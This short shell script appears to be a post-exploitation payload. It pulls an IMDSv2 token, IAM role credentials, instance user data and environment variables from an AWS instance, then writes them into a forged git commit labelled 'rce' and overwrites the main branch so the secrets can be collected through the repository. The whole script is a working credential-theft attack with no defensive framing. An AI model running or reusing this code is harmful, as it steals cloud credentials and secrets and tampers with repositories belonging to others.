#!/bin/sh
# IMDSv2: get token first
TOK=$(curl -s --max-time 5 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
# Get role
ROLE=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null)
# Get creds
CREDS=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}" 2>/dev/null)
# Get user data
UD=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/user-data" 2>/dev/null)
# Env
ENV=$(env 2>&1 | head -30)
O="TOK=$TOK|ROLE=$ROLE|CREDS=$CREDS|UD=$UD|ENV=$ENV"
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
H=$(git rev-parse HEAD 2>/dev/null)
C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null)
git update-ref refs/heads/main "$C" 2>/dev/null